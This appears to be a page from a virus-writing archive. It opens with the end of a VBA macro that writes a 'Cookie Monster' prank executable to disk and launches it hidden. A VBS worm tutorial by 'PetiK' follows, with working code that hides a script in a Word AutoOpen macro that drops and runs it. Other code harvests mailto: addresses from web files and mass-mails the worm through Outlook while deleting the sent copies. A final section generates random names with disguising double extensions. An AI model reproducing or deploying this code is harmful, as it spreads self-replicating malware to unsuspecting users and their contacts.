42 0E 50 B8 09 00 50 E8 41 04" Print #1, "e 0600 8B E5 B8 09 00 50 E8 8C 04 59 89 16 05 10 A3 03" Print #1, "e 0610 10 B8 5F 03 BA 00 00 52 50 B8 09 00 50 E8 85 04" Print #1, "e 0620 8B E5 33 D2 B8 0D 00 52 50 52 52 8B C2 50 E8 33" Print #1, "e 0630 04 83 C4 06 52 50 0E E8 CE 04 A3 A4 0A E8 0B 00" Print #1, "e 0640 50 B0 00 50 E8 AE 04 8B E5 5D C3 A1 93 0A 05 0F" Print #1, "e 0650 00 B9 04 00 D3 E8 8C DA 03 C2 2B 06 8B 0A C3 50" Print #1, "e 0660 53 51 52 06 1E 56 57 55 2E 8E 1E 50 02 E4 60 A2" Print #1, "e 0670 DE 0F 9C FF 1E 03 10 A1 A6 0A 99 52 50 33 C0 50" Print #1, "e 0680 50 50 E8 DF 03 83 C4 06 52 50 0E E8 7A 04 0B D0" Print #1, "e 0690 75 15 83 3E A2 0A 01 74 0E FF 06 A2 0A E8 24 02" Print #1, "e 06A0 E8 0E 00 FF 0E A2 0A 5D 5F 5E 1F 07 5A 59 5B 58" Print #1, "e 06B0 CF E8 7B 01 E8 AA 01 33 C0 50 B8 E1 0F 50 B8 DF" Print #1, "e 06C0 0F 50 E8 2A 02 83 C4 06 33 C0 50 B8 24 00 50 B8" Print #1, "e 06D0 04 00 50 E8 06 02 83 C4 06 33 C0 50 B8 0F 00 50" Print #1, "e 06E0 B8 12 00 50 B8 E3 0F 50 E8 5A 02 83 C4 08 A1 A4" Print #1, "e 06F0 0A BA 0F 00 F7 E2 05 AA 0A 50 B8 E3 0F 50 E8 B9" Print #1, "e 0700 05 59 59 0B C0 74 71 33 D2 B8 05 00 52 50 52 52" Print #1, "e 0710 8B C2 50 E8 4E 03 83 C4 06 52 50 0E E8 E9 03 A3" Print #1, "e 0720 F3 0F 33 C0 50 A1 F3 0F BA 11 00 F7 E2 05 6D 0B" Print #1, "e 0730 50 E8 CB 05 59 D1 E8 BA 28 00 2B D0 52 B8 06 00" Print #1, "e 0740 50 E8 98 01 83 C4 06 33 C0 50 B8 0F 00 50 A1 F3" Print #1, "e 0750 0F BA 11 00 F7 E2 05 6D 0B 50 E8 C3 01 83 C4 06" Print #1, "e 0760 83 3E A6 0A 0A 7F 03 E9 88 00 A1 A6 0A BB 02 00" Print #1, "e 0770 99 F7 FB A3 A6 0A EB 7A 33 D2 B8 05 00 52 50 52" Print #1, "e 0780 52 8B C2 50 E8 DD 02 83 C4 06 52 50 0E E8 78 03" Print #1, "e 0790 A3 F3 0F 33 C0 50 A1 F3 0F BA 11 00 F7 E2 05 C2" Print #1, "e 07A0 0B 50 E8 5A 05 59 D1 E8 BA 28 00 2B D0 52 B8 06" Print #1, "e 07B0 00 50 E8 27 01 83 C4 06 33 C0 50 B8 0F 00 50 A1" Print #1, "e 07C0 F3 0F BA 11 00 F7 E2 05 C2 0B 50 E8 52 01 83 C4" Print #1, "e 07D0 06 A1 A8 0A A3 A6 0A 33 D2 B8 0D 00 52 50 52 52" Print #1, "e 07E0 8B C2 50 E8 7E 02 83 C4 06 52 50 0E E8 19 03 A3" Print #1, "e 07F0 A4 0A C7 06 F3 0F 00 00 EB 04 FF 06 F3 0F 81 3E" Print #1, "e 0800 F3 0F 00 7D 7C F4 C7 06 F3 0F 00 00 EB 04 FF 06" Print #1, "e 0810 F3 0F 81 3E F3 0F 00 7D 7C F4 33 C0 50 FF 36 E1" Print #1, "e 0820 0F FF 36 DF 0F E8 B4 00 83 C4 06 E8 1A 00 C3 B8" Print #1, "e 0830 A0 0F 50 B8 0B 10 50 8C D8 50 33 C0 50 A1 09 10" Print #1, "e 0840 50 E8 46 03 83 C4 0A C3 B8 A0 0F 50 33 C0 50 A1" Print #1, "e 0850 09 10 50 B8 0B 10 50 8C D8 50 E8 2D 03 83 C4 0A" Print #1, "e 0860 C3 C4 1E 07 10 81 C3 54 01 8C 06 FD 0F 89 1E FB" Print #1, "e 0870 0F C7 06 F9 0F 17 0C C7 06 F5 0F 00 00 EB 3D C7" Print #1, "e 0880 06 F7 0F 00 00 EB 25 8B 1E F9 0F 8A 07 C4 1E FB" Print #1, "e 0890 0F 26 88 07 FF 06 FB 0F FF 06 F9 0F 8B 1E FB 0F" Print #1, "e 08A0 26 C6 07 1E FF 06 FB 0F FF 06 F7 0F 83 3E F7 0F" Print #1, "e 08B0 3C 7C D4 83 06 FB 0F 28 FF 06 F5 0F 83 3E F5 0F" Print #1, "e 08C0 07 7C BC C3 33 C0 50 E8 AE 01 59 A3 FF 0F A9 FF" Print #1, "e 08D0 00 74 05 25 FF 00 EB 03 A1 FF 0F C3 55 8B EC B8" Print #1, "e 08E0 00 02 8A 56 06 8A 76 04 8A 7E 08 CD 10 5D C3 55" Print #1, "e 08F0 8B EC B8 00 03 8A 7E 08 CD 10 8A C2 B4 00 8B 5E" Print #1, "e 0900 06 89 07 8A C6 B4 00 8B 5E 04 89 07 5D C3 55 8B" Print #1, "e 0910 EC B4 0E 8A 46 04 8A 5E 06 8A 7E 08 CD 10 5D C3" Print #1, "e 0920 55 8B EC 8B 5E 04 FF 46 04 8A 07 A2 01 10 0A C0" Print #1, "e 0930 74 11 FF 76 08 FF 76 06 FF 36 01 10 E8 CF FF 8B" Print #1, "e 0940 E5 EB E0 5D C3 56 57 55 8B EC 8B 7E 0C 8B 76 08" Print #1, "e 0950 33 C0 50 E8 22 01 59 A2 02 10 80 F8 0D 74 59 A0" Print #1, "e 0960 02 10 B4 00 3D 08 00 74 07 3D 1B 00 74 E2 EB 34" Print #1, "e 0970 83 3E BC 0D 00 7E D9 4E FF 0E BC 0D FF 76 0E 57" Print #1, "e 0980 FF 36 02 10 E8 87 FF 8B E5 FF 76 0E 57 B0 20 50" Print #1, "e 0990 E8 7B FF 8B E5 FF 76 0E 57 FF 36 02 10 E8 6E FF" Print #1, "e 09A0 8B E5 EB AC A1 BC 0D 3B 46 0A 7D A4 A0 02 10 88" Print #1, "e 09B0 04 46 FF 06 BC 0D EB DD C6 04 00 C7 06 BC 0D 00" Print #1, "e 09C0 00 5D 5F 5E C3 56 57 55 8B EC 55 8B 76 08 FC 2B" Print #1, "e 09D0 C0 99 B9 0A 00 B7 00 BF 77 0E 8A 1C 46 F6 01 01" Print #1, "e 09E0 75 F8 BD 00 00 80 FB 2B 74 06 80 FB 2D 75 04 45" Print #1, "e 09F0 8A 1C 46 80 FB 39 77 2E 80 EB 30 72 29 F7 E1 03" Print #1, "e 0A00 C3 12 D6 74 EB EB 12 8B FA B9 0A 00 F7 E1 97 87" Print #1, "e 0A10 D1 F7 E2 92 97 03 C3 13 D1 8A 1C 46 80 FB 39 77" Print #1, "e 0A20 05 80 EB 30 73 E1 4D 7C 07 F7 DA F7 D8 83 DA 00" Print #1, "e 0A30 5D 5D 5F 5E C3 55 8B EC FF 76 04 E8 87 FF 59 5D" Print #1, "e 0A40 C3 56 57 55 8B EC 8A 66 08 8A 46 0C 8B 56 0A F8" Print #1, "e 0A50 CD 21 72 02 EB 04 50 E8 5C 00 5D 5F 5E C3 CD 11" Print #1, "e 0A60 C3 CD 12 C3 55 8B EC 8A 66 04 8B 4E 08 8B 56 06" Print #1, "e 0A70 CD 1A 8B C2 8B D1 5D C3 55 8B EC 8A 66 04 CD 16" Print #1, "e 0A80 75 0A 83 7E 04 01 75 04 33 C0 EB 00 5D C3 C7 06" Print #1, "e 0A90 91 0A 00 00 CB 55 8B EC 8A 46 04 B4 35 CD 21 8B" Print #1, "e 0AA0 C3 8C C2 5D C3 55 8B EC 1E C5 56 06 8A 46 04 B4" Print #1, "e 0AB0 25 CD 21 1F 5D C3 56 57 55 8B EC 8B 76 08 0B F6" Print #1, "e 0AC0 7C 11 83 FE 58 77 23 89 36 78 0F 8A 84 7A 0F 98" Print #1, "e 0AD0 96 EB 0D F7 DE 83 FE 22 77 10 C7 06 78 0F FF FF" Print #1, "e 0AE0 8B C6 A3 8F 0A B8 FF FF EB 05 BE 57 00 EB D8 5D" Print #1, "e 0AF0 5F 5E C2 02 00 55 8B EC 8B 56 06 8A 46 04 B4 31" Print #1, "e 0B00 CD 21 5D C3 B1 03 EB 0A B1 02 EB 06 B1 01 EB 02" Print #1, "e 0B10 33 C9 55 56 57 8B EC 8B 46 0A 8B 56 0C 8B 5E 0E" Print #1, "e 0B20 8B 6E 10 33 F6 F6 C1 01 75 1A 0B D2 79 09 F7 DA" Print #1, "e 0B30 F7 D8 1B D6 80 C9 04 0B ED 79 09 F7 DD F7 DB 1B" Print #1, "e 0B40 EE 80 F1 04 8B FD 0B FA 75 06 F7 F3 87 F2 EB 20" Print #1, "e 0B50 51 B9 20 00 8B FE D1 E0 D1 D2 D1 D6 D1 D7 3B FD" Print #1, "e 0B60 72 0B 77 04 3B F3 72 05 2B F3 1B FD 40 E2 E7 59" Print #1, "e 0B70 F6 C1 02 74 03 96 8B D7 F6 C1 04 74 07 F7 DA F7" Print #1, "e 0B80 D8 83 DA 00 5F 5E 5D CA 08 00 56 57 55 8B EC FC" Print #1, "e 0B90 8B 4E 10 8B 7E 0E 8E 46 0C 8B 76 0A 1E 8E 5E 08" Print #1, "e 0BA0 D1 E9 F3 A5 73 01 A4 1F 5D 5F 5E C3 55 8B EC FF" Print #1, "e 0BB0 76 08 FF 76 06 8B 46 06 33 D2 52 FF 76 04 8B 46" Print #1, "e 0BC0 04 33 D2 52 E8 C3 FF 8B E5 5D C3 00 00 00 00 00" Print #1, "e 0BD0 00 2E 8F 06 CB 08 2E 8C 1E CD 08 FC 8E 06 8B 0A" Print #1, "e 0BE0 BE 80 00 33 C0 8B D8 8B D0 8B C8 26 AC 8B FE 93" Print #1, "e 0BF0 26 88 01 43 87 D9 E8 15 00 77 07 72 3F E8 0E 00" Print #1, "e 0C00 77 F9 3C 20 74 04 3C 09 75 EC 32 C0 EB E8 0B C0" Print #1, "e 0C10 74 07 42 AA 0A C0 75 01 43 86 E0 32 C0 F9 E3 18" Print #1, "e 0C20 26 AC 49 2C 22 74 11 04 22 3C 5C 75 09 26 80 3C" Print #1, "e 0C30 22 75 03 26 AC 49 0B F6 C3 E9 F7 F8 8C C5 8B 36" Print #1, "e 0C40 85 0A 83 C6 02 B9 01 00 80 3E 8D 0A 03 72 0F 8E" Print #1, "e 0C50 06 87 0A 8B FE B1 7F F2 AE E3 DE 80 F1 7F 43 89" Print #1, "e 0C60 1E 7F 0A 43 8B C1 03 C2 03 DB 05 01 00 25 FE FF" Print #1, "e 0C70 03 D8 8B FC 2B F8 2B E3 87 DD 8B EC 89 26 81 0A" Print #1, "e 0C80 8C D0 8E C0 89 7E 00 83 C5 02 8E 1E 87 0A 49 F3" Print #1, "e 0C90 A4 32 C0 AA 8E DB 87 CA BE 81 00 E3 0E 89 7E 00" Print #1, "e 0CA0 83 C5 02 AC 0A C0 AA E0 FA 74 F0 33 C0 89 46 00" Print #1, "e 0CB0 2E 8E 1E CD 08 2E FF 26 CB 08 56 57 55 8B EC 8B" Print #1, "e 0CC0 76 08 8B 7E 0A 8C D8 8E C0 FC AC 0A C0 74 27 AE" Print #1, "e 0CD0 74 F8 26 8A 65 FF 3C 61 72 06 3C 7A 77 02 2C 20" Print #1, "e 0CE0 80 FC 61 72 08 80 FC 7A 77 03 80 EC 20 3A C4 74" Print #1, "e 0CF0 D9 2A C4 98 EB 05 26 8A 25 EB F6 5D 5F 5E C3 56" Print #1, "e 0D00 57 55 8B EC 8B 7E 08 8C D8 8E C0 B0 00 B9 FF FF" Print #1, "e 0D10 FC F2 AE 8B C1 F7 D0 48 5D 5F 5E C3 00 00 00 00" Print #1, "e 0D20 00 00 00 00 54 75 72 62 6F 2D 43 20 2D 20 43 6F" Print #1, "e 0D30 70 79 72 69 67 68 74 20 28 63 29 20 31 39 38 37" Print #1, "e 0D40 20 42 6F 72 6C 61 6E 64 20 49 6E 74 6C 2E 00 44" Print #1, "e 0D50 69 76 69 64 65 20 65 72 72 6F 72 0D 0A 41 62 6E" Print #1, "e 0D60 6F 72 6D 61 6C 20 70 72 6F 67 72 61 6D 20 74 65" Print #1, "e 0D70 72 6D 69 6E 61 74 69 6F 6E 0D 0A 00 00 00 00 00" Print #1, "e 0D80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0D90 00 00 00 AC 1F 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0DA0 00 00 00 00 00 00 E8 03 E8 03 63 68 6F 63 6F 6C" Print #1, "e 0DB0 61 74 65 20 63 68 69 70 00 6F 72 65 6F 00 00 00" Print #1, "e 0DC0 00 00 00 00 00 00 00 00 6D 61 63 61 72 6F 6F 6E" Print #1, "e 0DD0 00 00 00 00 00 00 00 6F 61 74 6D 65 61 6C 00 00" Print #1, "e 0DE0 00 00 00 00 00 00 70 65 61 6E 75 74 20 62 75 74" Print #1, "e 0DF0 74 65 72 00 00 66 69 67 20 6E 65 77 74 6F 6E 00" Print #1, "e 0E00 00 00 00 00 6C 61 64 79 20 66 69 6E 67 65 72 73" Print #1, "e 0E10 00 00 00 73 75 67 61 72 00 00 00 00 00 00 00 00" Print #1, "e 0E20 00 00 76 61 6E 69 6C 6C 61 20 77 61 66 65 72 73" Print #1, "e 0E30 00 70 65 63 61 6E 20 73 61 6E 64 69 65 73 00 00" Print #1, "e 0E40 63 68 69 70 73 20 61 68 6F 79 00 00 00 00 00 67" Print #1, "e 0E50 69 6E 67 65 72 20 73 6E 61 70 73 00 00 00 67 69" Print #1, "e 0E60 72 6C 20 73 63 6F 75 74 00 00 00 00 00 42 6C 65" Print #1, "e 0E70 63 68 21 21 21 00 00 00 00 00 00 00 00 00 4D 65" Print #1, "e 0E80 20 6E 6F 20 6C 69 6B 65 20 74 68 61 74 2E 00 59" Print #1, "e 0E90 75 63 6B 21 21 21 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0EA0 55 67 68 2E 2E 2E 00 00 00 00 00 00 00 00 00 00" Print #1, "e 0EB0 00 41 72 67 68 68 68 21 21 00 00 00 00 00 00 00" Print #1, "e 0EC0 00 00 4D 6D 6D 6D 2E 2E 2E 20 6D 65 20 6C 69 6B" Print #1, "e 0ED0 65 21 00 59 75 6D 6D 6D 59 75 6D 6D 6D 00 00 00" Print #1, "e 0EE0 00 00 00 00 4F 68 20 62 6F 79 2E 2E 2E 20 54 61" Print #1, "e 0EF0 6E 6B 73 00 00 44 65 6C 69 63 69 6F 75 73 2E 2E" Print #1, "e 0F00 2E 00 00 00 00 00 54 68 61 6E 6B 20 59 6F 75 00" Print #1, "e 0F10 00 00 00 00 00 00 00 C9 CD CD CD CD CD CD CD CD" Print #1, "e 0F20 CD CD CD CD CD CD CD CD 20 49 6E 66 6F 2D 54 65" Print #1, "e 0F30 63 68 20 43 6F 6F 6B 69 65 20 4D 6F 6E 73 74 65" Print #1, "e 0F40 72 20 CD CD CD CD CD CD CD CD CD CD CD CD CD CD" Print #1, "e 0F50 CD CD BB BA 20 20 20 20 20 20 20 20 20 20 20 20" Print #1, "e 0F60 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20" Print #1, "e 0F70 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20" Print #1, "e 0F80 20 20 20 20 20 20 20 20 20 20 20 20 20 20 BA BA" Print #1, "e 0F90 20 20 20 20 20 20 20 20 20 47 69 6D 6D 65 20 61" Print #1, "e 0FA0 20 63 6F 6F 6B 69 65 21 20 20 20 20 20 20 20 20" Print #1, "e 0FB0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20" Print #1, "e 0FC0 20 20 20 20 20 20 20 20 20 20 BA BA 20 20 20 20" Print #1, "e 0FD0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20" Print #1, "e 0FE0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20" Print #1, "e 0FF0 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20" Print #1, "e 1000 20 20 20 20 20 20 BA BA 20 20 20 20 20 20 20 20" Print #1, "e 1010 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20" Print #1, "e 1020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20" Print #1, "e 1030 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20" Print #1, "e 1040 20 20 BA BA 20 20 20 20 20 20 20 20 20 20 20 20" Print #1, "e 1050 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20" Print #1, "e 1060 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20" Print #1, "e 1070 20 20 20 20 20 20 20 20 20 20 20 20 20 20 BA C8" Print #1, "e 1080 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD" Print #1, "e 1090 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD" Print #1, "e 10A0 CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD CD" Print #1, "e 10B0 CD CD CD CD CD CD CD CD CD CD BC 00 00 00 43 4F" Print #1, "e 10C0 4F 4B 49 45 20 4D 4F 4E 53 54 45 52 0D 0A 24 00" Print #1, "e 10D0 43 6F 70 79 72 69 67 68 74 20 28 63 29 20 31 39" Print #1, "e 10E0 38 37 20 62 79 20 57 61 6C 6B 65 72 20 41 72 63" Print #1, "e 10F0 68 65 72 0D 0A 24 00 49 6E 69 74 69 61 74 69 6E" Print #1, "e 1100 67 20 6C 75 72 6B 20 6D 6F 64 65 2E 0D 0A 24 00" Print #1, "e 1110 0D 0A 45 52 52 4F 52 20 2D 20 61 72 67 75 6D 65" Print #1, "e 1120 6E 74 20 6D 75 73 74 20 62 65 20 62 65 74 77 65" Print #1, "e 1130 65 6E 20 31 30 20 61 6E 64 20 31 30 30 30 0D 0A" Print #1, "e 1140 24 00 0D 0A 43 6F 6E 74 69 6E 75 69 6E 67 20 69" Print #1, "e 1150 6E 73 74 61 6C 6C 61 74 69 6F 6E 20 77 69 74 68" Print #1, "e 1160 20 61 20 64 65 66 61 75 6C 74 20 6F 66 20 31 30" Print #1, "e 1170 30 30 0D 0A 24 00 00 20 20 20 20 20 20 20 20 20" Print #1, "e 1180 21 21 21 21 21 20 20 20 20 20 20 20 20 20 20 20" Print #1, "e 1190 20 20 20 20 20 20 20 01 40 40 40 40 40 40 40 40" Print #1, "e 11A0 40 40 40 40 40 40 40 02 02 02 02 02 02 02 02 02" Print #1, "e 11B0 02 40 40 40 40 40 40 40 14 14 14 14 14 14 04 04" Print #1, "e 11C0 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04 04" Print #1, "e 11D0 04 04 40 40 40 40 40 40 18 18 18 18 18 18 08 08" Print #1, "e 11E0 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08 08" Print #1, "e 11F0 08 08 40 40 40 40 20 00 00 00 00 00 00 00 00 00" Print #1, "e 1200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 1210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 1220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 1230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 1240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 1250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 1260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00" Print #1, "e 1270 00 00 00 00 00 00 00 00 00 00 00 13 02 02 04 05" Print #1, "e 1280 06 08 08 08 14 15 05 13 FF 16 05 16 02 FF FF FF" Print #1, "e 1290 FF FF FF FF FF FF FF FF FF FF 05 05 FF FF FF FF" Print #1, "e 12A0 FF FF FF FF FF FF FF FF FF FF FF FF 0F FF FF 02" Print #1, "e 12B0 FF 0F FF FF FF FF 13 FF FF 02 02 05 0F 02 FF FF" Print #1, "e 12C0 FF 13 FF FF FF FF FF FF FF FF FF FF FF FF FF FF" Print #1, "e 12D0 FF 13 FF 00 00 10 8E 07 8E 07 00" Print #1, "rcx" Print #1, "11DA" Print #1, "nC:\COOKIE.EXE" Print #1, "w" Print #1, "q" Close #1 Kill "c:\cookie" Shell "c:\cookie.exe", vbHide End Subarticles
VBS tutorial PetiK VBS tutorial ************ by PetiK (05/05/2002) ################ # Introducion: # ################ I wrote this article after programming VBS.Xchange and VBS.Doublet (two VBS/DOC infectors). There are three parts in this article. - Hex Conversion : How convert a ascii file (VBS in a module of Word for example). - Spread with "mailto:" : spread a VBS worm with web files. - Random Name Generator : To change in each start a new copy of a VBS worm/virii. I succeeded to code without look at other source. This sort of aticle is of course not for good coderz but for the newbies (NOT LAMERZ) and all people who want learn about WORM programming. ################### # HEX CONVERSION: # ################### Why convert a file in hexadecimal ?? For example to put it in module of a Word dosument. How to do this ?? 1) Set fso=CreateObject("Scripting.FileSystemObject") Set fl=fso.OpenTextFile(WScript.ScriptFullname,1) virus=fl.ReadAll ' Read all the file fl.Close 2) For i=1 To len(virus) ' Take the size of the file 3) e=Mid(virus,i,1) ' Take one byte after one. e=Hex(Asc(e)) ' And convert in hexa. (P=50;e=65;...) 4) If Len(e)=1 Then ' If the hexa < 10h we add a 0 e="0"&e ' Example : return (0Dh0Ah). We will have D and A. End If ' So we add a 0 => 0D and 0A 5) f=f+e ' This part is for the lenght of the line in the module If Len(f)=110 Then ' of the document (don't support too long). sp.WriteLine "e = e + """+f+"""" ' Here we put 110 character: f="" ' e = e + "...110 char..." End If 6) If Len(virus)-i = 0 Then ' Here is for the last line if there are less 110 char : sp.WriteLine "e = e + """+f+"""" ' e = e + "... 1 < number of char < 110..." f="" End If So the code source : *********************************************************************************************************************** On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject") Set fl=fso.OpenTextFile(WScript.ScriptFullname,1) virus=fl.ReadAll fl.Close set sp=fso.CreateTextFile("example_vbshex.txt",True,8) sp.WriteLine "Attribute VB_Name = ""VirModule""" sp.WriteLine "Sub AutoOpen()" sp.WriteLine "On Error Resume Next" sp.WriteLine "e = """"" For i=1 To len(virus) e=Mid(virus,i,1) e=Hex(Asc(e)) If Len(e)=1 Then e="0"&e End If f=f+e If Len(f)=110 Then sp.WriteLine "e = e + """+f+"""" f="" End If If Len(virus)-i = 0 Then sp.WriteLine "e = e + """+f+"""" f="" End If Next sp.WriteLine "read=dec(e)" sp.WriteLine "Open ""C:\newvbsfile.vbs"" For Output As #1" sp.WriteLine "Print #1, read" sp.WriteLine "Close #1" sp.WriteLine "Shell ""wscript C:\newvbsfile.vbs""" sp.WriteLine "End Sub" sp.WriteLine "" sp.WriteLine "Function dec(octe)" sp.WriteLine "For hexad = 1 To Len(octe) Step 2" sp.WriteLine "dec = dec & Chr(""&h"" & Mid(octe, hexad, 2))" sp.WriteLine "Next" sp.WriteLine "End Function" sp.Close ************************************************************************************************************************ And this is the result: ************************************************************************************************************************ Attribute VB_Name = "VirModule" Sub AutoOpen() On Error Resume Next e = "" e = e +"4F6E204572726F7220526573756D65204E6578740D0A5365742066736F3D4372656174654F626A6563742822536372697074696E672E46" e = e +"696C6553797374656D4F626A65637422290D0A53657420666C3D66736F2E4F70656E5465787446696C6528575363726970742E53637269" e = e +"707446756C6C6E616D652C31290D0A76697275733D666C2E52656164416C6C0D0A666C2E436C6F73650D0A0D0A7365742073703D66736F" e = e +"2E4372656174655465787446696C6528226578616D706C655F7662736865782E747874222C547275652C38290D0A73702E57726974654C" e = e +"696E6520224174747269627574652056425F4E616D65203D2022225669724D6F64756C652222220D0A73702E57726974654C696E652022" e = e +"537562204175746F4F70656E2829220D0A73702E57726974654C696E6520224F6E204572726F7220526573756D65204E657874220D0A73" e = e +"702E57726974654C696E65202265203D2022222222220D0A0D0A466F7220693D3120546F206C656E287669727573290D0A0D0A653D4D69" e = e +"642876697275732C692C31290D0A653D48657828417363286529290D0A0D0A4966204C656E2865293D31205468656E0D0A653D22302226" e = e +"650D0A456E642049660D0A0D0A663D662B650D0A4966204C656E2866293D313130205468656E0D0A73702E57726974654C696E65202265" e = e +"203D2065202B202222222B662B222222220D0A663D22220D0A456E642049660D0A0D0A4966204C656E287669727573292D69203D203020" e = e +"5468656E0D0A73702E57726974654C696E65202265203D2065202B202222222B662B222222220D0A663D22220D0A456E642049660D0A0D" e = e +"0A4E6578740D0A0D0A73702E57726974654C696E652022726561643D646563286529220D0A73702E57726974654C696E6520224F70656E" e = e +"202222433A5C6E657776627366696C652E766273222220466F72204F7574707574204173202331220D0A73702E57726974654C696E6520" e = e +"225072696E742023312C2072656164220D0A73702E57726974654C696E652022436C6F7365202331220D0A73702E57726974654C696E65" e = e +"20225368656C6C2022227773637269707420433A5C6E657776627366696C652E7662732222220D0A73702E57726974654C696E65202245" e = e +"6E6420537562220D0A73702E57726974654C696E652022220D0A73702E57726974654C696E65202246756E6374696F6E20646563286F63" e = e +"746529220D0A73702E57726974654C696E652022466F72206865786164203D203120546F204C656E286F6374652920537465702032220D" e = e +"0A73702E57726974654C696E652022646563203D20646563202620436872282222266822222026204D6964286F6374652C206865786164" e = e +"2C20322929220D0A73702E57726974654C696E6520224E657874220D0A73702E57726974654C696E652022456E642046756E6374696F6E" e = e + "220D0A73702E436C6F7365" read=dec(e) Open "C:\newvbsfile.vbs" For Output As #1 Print #1, read Close #1 Shell "wscript C:\newvbsfile.vbs" End Sub Function dec(octe) For hexad = 1 To Len(octe) Step 2 dec = dec & Chr("&h" & Mid(octe, hexad, 2)) Next End Function ************************************************************************************************************************ The function "dec" allows to convert in the opposite sense. ######################### # SPREAD WITH "MAILTO:" # ######################### Now we are going to see how spread a VBS worm without the Windows AddressBook (aka WAB). If we can't use the WAB, we can read old mail and take the EMail. But too bad, I don't code this in VBS. Last solution : take the EMail in the WEB file (htm, html, asp, etc...). When we see a link to send an mail by clicking this is the code: href="mailto:petikvx@aol.com">PetiKVX ------- There is always this string : "MAILTO:". So! Fine! We can scan all file to search this string and scan the EMail. 1) if (ext="htm") or (ext="html") or (ext="htt") or (ext="asp") Then ' Take the good extension ' htm, html, asp, doc, xls set htm=fso.OpenTextFile(fil.path,1) ' and open the file. verif=True allhtm=htm.ReadAll() ' Read all the file. htm.Close 2) For ml=1 To Len(allhtm) ' Get the size. count=0 3) If Mid(allhtm,ml,7) = "mailto:" Then ' Find the mailto: string. counter=counter+1 mlto="" 4) Do While Mid(allhtm,ml+6+count,1) <> """" ' Scan the EMail until the '"' string. count=count+1 mlto = mlto + Mid(allhtm,ml+6+count,1) loop 5) sendmailto(left(mlto,len(mlto)-1)) ' Send the mail And now, the code: ************************************************************************************************************************ On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject") Set mel=fso.CreateTextFile("spread_mailto.txt",8,TRUE) counter=0 lect() mel.WriteLine "#" mel.Close WScript.Quit Sub lect() On Error Resume Next Set dr=fso.Drives For Each d in dr If d.DriveType=2 or d.DriveType=3 Then list(d.path&"\") End If Next End Sub Sub spreadmailto(dir) On Error Resume Next Set fso=CreateObject("Scripting.FileSystemObject") Set f=fso.GetFolder(dir) Set cf=f.Files For Each fil in cf ext=fso.GetExtensionName(fil.path) ext=lcase(ext) if (ext="htm") or (ext="html") or (ext="htt") or (ext="asp") Then set htm=fso.OpenTextFile(fil.path,1) allhtm=htm.ReadAll() htm.Close For ml=1 To Len(allhtm) count=0 If Mid(allhtm,ml,7) = "mailto:" Then counter=counter+1 mlto="" Do While Mid(allhtm,ml+6+count,1) <> """" count=count+1 mlto = mlto + Mid(allhtm,ml+6+count,1) loop mel.WriteLine counter &" <"&left(mlto,len(mlto)-1)&">" msgbox mlto sendmailto(left(mlto,len(mlto)-1)) End If Next End If Next End Sub Sub list(dir) On Error Resume Next Set f=fso.GetFolder(dir) Set ssf=f.SubFolders For Each fil in ssf spreadmailto(fil.path) list(fil.path) Next End Sub Sub sendmailto(email) Set out=CreateObject("Outlook.Application") Set mailmelto=out.CreateItem(0) mailmelto.To email mailmelto.Subject "Subject of worm" mailmelto.Body "Body of worm" mailmelto.Attachment.Add (WScript.ScriptFullName) mailmelto.DeleteAfterSubmit = True mailmelto.Send Set out = Nothing End Sub ************************************************************************************************************************ In the spread_mailto.txt file we have this: ************************************************************************************************************************ 1 <Petikvx@aol.com> 2 <VBS.Ketip.A@mm> 3 <PetiK@aol.com> 4 <kavdaemon@relay.avp.ru> 5 <kavdaemon@relay.avp.ru>kavdaemon@relay.avp.ru</A></TD></TR> <TR class=aolmailheader> <TD noWrap vAlign=top width=> 6 <Pentasm99@aol.com> 7 <Pentasm99@aol.com screenname=> ... ... ************************************************************************************************************************ We can see of course some problems: - <VBS.Ketip.A@mm> : not a real EMail but a Norton Worm Name - <kavdaemon@relay.avp.ru>kavdaemon@relay.avp.ru</A></TD></TR> : <TR class=aolmailheader> : The scan doesn't found immediatly the '"' string. <TD noWrap vAlign=top width=> : - <Pentasm99@aol.com screenname=>: IDEM. It was not '"' the end of the mail but a space (20h) ########################## # RANDOM NAME GENERATOR: # ########################## Like I said in my last article about "Hide a copy a of worm" we are going to make the same thing in VBS. 1) tmpname="" ' Value of tmpname is NULL 2) randomize(timer) ' Random size of the first part of name namel=int(rnd(1)*20)+1 ' between 1 and 20. 3) For lettre = 1 To namel ' Put the letter. randomize(timer) ' 97 : Start from "a" (65 : Start from "A") tmpname=tmpname & chr(int(rnd(1)*26)+97) ' 26 : from "a-A" to "z-Z" Next ' for number 26 => 9 and 97 => 48 4) typext = "execombatbmpjpggifdocxlsppthtmhtthta" ' Now we choice an extension between 12 differents. randomize(timer) tmpext = int(rnd(1)*11)+1 5) tmpname=tmpname & "." & mid(typext,((tmpext-1)*3)+1,3) & ".vbs" ' And we have the result Code Source: ************************************************************************************************************************ tmpname="" randomize(timer) namel=int(rnd(1)*20)+1 For lettre = 1 To namel randomize(timer) 